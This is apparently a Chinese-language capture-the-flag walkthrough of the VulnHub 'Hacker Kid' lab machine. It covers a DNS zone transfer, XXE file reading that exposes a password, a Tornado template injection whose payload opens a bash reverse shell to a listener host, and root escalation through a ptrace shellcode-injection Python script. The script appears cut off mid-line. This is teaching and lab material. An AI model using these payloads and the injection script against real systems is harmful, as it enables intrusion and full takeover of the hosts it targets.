中等难度的靶机,取得权限即可(提示:信息收集,不需要爆破)
此靶机存在的都是新兴的漏洞类型。
地址如下:
https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
1.主机发现arp-scan -l2.端口发现
nmap -p 1-65535 -A 192.168.56.106 详细信息如下: 53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux) | dns-nsid: DNS服务,tcp的 53 端口用于域的 |_ bind.version: 9.16.1-Ubuntu 我们一般使用的都是UDP的53端口,查看一下:namp -p53 -sU 192.168.56.106,发现是开启的 53端口的bind版本可以进行尝试漏洞搜索:9.16.1的漏洞存在 CVE-2020-8625 CVE-2021-25216(没找到漏洞利用代码) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Notorious Kid : A Hacker |_http-server-header: Apache/2.4.41 (Ubuntu) 9999/tcp open http Tornado httpd 6.1 | http-title: Please Log In |_Requested resource was /login?next=%2F |_http-server-header: TornadoServer/6.1 TornadoServer(python框架) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.63.Web信息收集
看到了一堆dig,然而linux存在dig命令,可以尝试一下。
看到#,直接去掉访问。访问了,但是一点用没有。
之后挨个查看源码,看信息,发下了一个注释:使用参数page_no,这里参数很像一个页面的页码,我们用BP爆破出他的数值到底是多少。。burp选择Numbers模块就行。值是21.
得到了信息:知道了存在子域。。通过DNS产生了一些的不同域名,一个服务器可以通过DNS绑定不同的域名。
在一台服务器上部署多个web服务常见有三种方法 方法一:不同的web服务绑定不同的ip,访问者通过访问不同的ip来浏览不同的网站 方法二:不同的web服务绑定不同的端口,访问者通过访问同一ip的不同端口来浏览不同的网站 方法三:不同的web服务绑定不同的域名,访问者通过访问不同的域名来浏览不同的网站
提示提到域名之一:hackers.blackhat.local 编辑hosts文件才能访问
此时添加hosts的dns解析,kali的修改命令 vi /etc/hosts,Windows上的文件位置在C:WindowsSystem32driversetc 加上: 192.168.56.106 hackers.blackhat.local4.DNS区域传输
使用提到的dig命令 ,axfr命令 可以得到所有的DNS解析记录
axfr的具体含义简单来说就是使用dig命令向服务器发送一个axfr的请求,如果服务器支持axfr,那么就会把请求的域对应的所有的dns记录都返回给请求者。
hackerkid.blackhat.local blackhat.local. 10800 IN NS ns1.blackhat.local. blackhat.local. 10800 IN MX 10 mail.blackhat.local. blackhat.local. 10800 IN A 192.168.14.143 ftp.blackhat.local. 10800 IN CNAME blackhat.local. hacker.blackhat.local. 10800 IN CNAME hacker.blackhat.local.blackhat.local. mail.blackhat.local. 10800 IN A 192.168.14.143 ns1.blackhat.local. 10800 IN A 192.168.14.143 ns2.blackhat.local. 10800 IN A 192.168.14.143 www.blackhat.local. 10800 IN CNAME blackhat.local. blackhat.local. 10800 IN SOA blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600
我们把所有的解析都加到hosts文件中去。挨个访问
这里讲一下axfr的安全问题:
从安全配置的角度出发,服务器是不应当响应每个人的axfr请求的,它应该是只在同一域中主、备服务器之间使用的请求,通常用于实现主、备dns服务器间同步dns记录的作用。这里dns服务器响应了我们的axfr请求,其实是说明了该dns服务器存在配置不当的漏洞所造成的。
继续我们的漏洞利用:添加的解析中hackerkid.blackhat.local 可以访问
尝试过几次会发现邮件都不行。。那抓包查看:
但是发现了这是通过xml发送到服务器的。看到了xml就联想到XXE漏洞,外部实体注入攻击
5.XXE注入XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。 XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
]>
xxe的漏洞最常用的代码,而且我们测试知道邮箱处会把数据返回报错,看到了用户找到可登录的/bin/bash。
接着用命令访问saket的文件.bashrdc,失败了,可能有过过滤,那么尝试php伪协议
php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc
能够看到加密的了密码base64加密
username="admin" password="Saket!#$%@!!" 这个密码直接拿去登录9999端口的页面,登录不上,密码肯定不会错啊,那只能考虑账号,拿用户账号尝试一下。。 saket
登进去之后,页面两句英文,没有任何思路那看看这些单词,可能有 变量 测试下name。
6.SSTI模板注入我们在前面信息搜集的时候就知道了9999端口开放的web服务用的是Tornado,Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞
看下这篇文章
SSTI (Server Side Template Injection) - HackTricks
这里给出了一个模板注入通用的测试payload:{{1+abcdef}}${1+abcdef}1+abcdef?>[1+abcdef]
如果使用该payload后发现页面产生了如下图所示的报错,也是可以说明存在模板注入漏洞
最好是能够反弹shell,用的还是python代码
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.56.102/4444 0>&1"')}}
报错了。url编码试一下呢
%7b%25%20import%20os%20%25%7d%7b%7bos.system('bash%20-c%20%22bash%20-i%20%26%3e%20%2fdev%2ftcp%2f192.168.56.102%2f4444%200%3e%261%22')%7d%7d
成功。。
7.提权CVE-2021-3493 等最新的内核漏洞都不行
这里利用的功能特性是一个linux内核功能:Capabilities 主要是权限管理的功能。
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。 这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。 如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
使用命令可以发现具有Capabilities特殊操作权限的程序:
/usr/sbin/getcap -r / 2>/dev/null # -r 递归查询 2>/dev/null 错误信息从定向到null
发现python具备cap_sys_ptrace+ep 权限,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口。
网上找的下载链接都不行,找到了源码,保存在本地后,通过wget上传到了靶机
python3 -m http.server 80 wget http://ip/inject.py
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script. # GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes import sys import struct # Macros defined in# https://code.woboq.org/qt5/include/sys/ptrace.h.html PTRACE_POKETEXT = 4 PTRACE_GETREGS = 12 PTRACE_SETREGS = 13 PTRACE_ATTACH = 16 PTRACE_DETACH = 17 # Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): _fields_ = [ ("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong), ("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong), ("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong), ("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong), ("r9", ctypes.c_ulonglong), ("r8", ctypes.c_ulonglong), ("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong), ("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong), ("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong), ("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong), ("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong), ("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong), ("gs_base", ctypes.c_ulonglong), ("ds", ctypes.c_ulonglong), ("es", ctypes.c_ulonglong), ("fs", ctypes.c_ulonglong), ("gs", ctypes.c_ulonglong), ] libc = ctypes.CDLL("libc.so.6") pid=int(sys.argv[1]) # Define argument type and respone type. libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p] libc.ptrace.restype = ctypes.c_uint64 # Attach to the process libc.ptrace(PTRACE_ATTACH, pid, None, None) registers=user_regs_struct() # Retrieve the value stored in registers libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers)) print("Instruction Pointer: " + hex(registers.rip)) print("Injecting Shellcode at: " + hex(registers.rip)) # Shell code copied from exploit db. shellcode="x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05" # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): # Convert the byte to little endian. shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) shellcode_byte_little_endian=struct.pack(" 这个脚本需要注入到root权限的进程才能使用
ps -aef | grep root 查看root权限进程 python2.7 inject.py xxx 代表root进程还可以使用脚本批量注入
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done脚本使用的是5600端口,注入后查看5600端口是否打开
端口打开了,那我们使用nc去连接靶机的5600端口就行
拿到了root权限
查看端口占用的命令还有:netstat -anp | grep 5600
最后通过此命令还能看出靶机被连接地址。



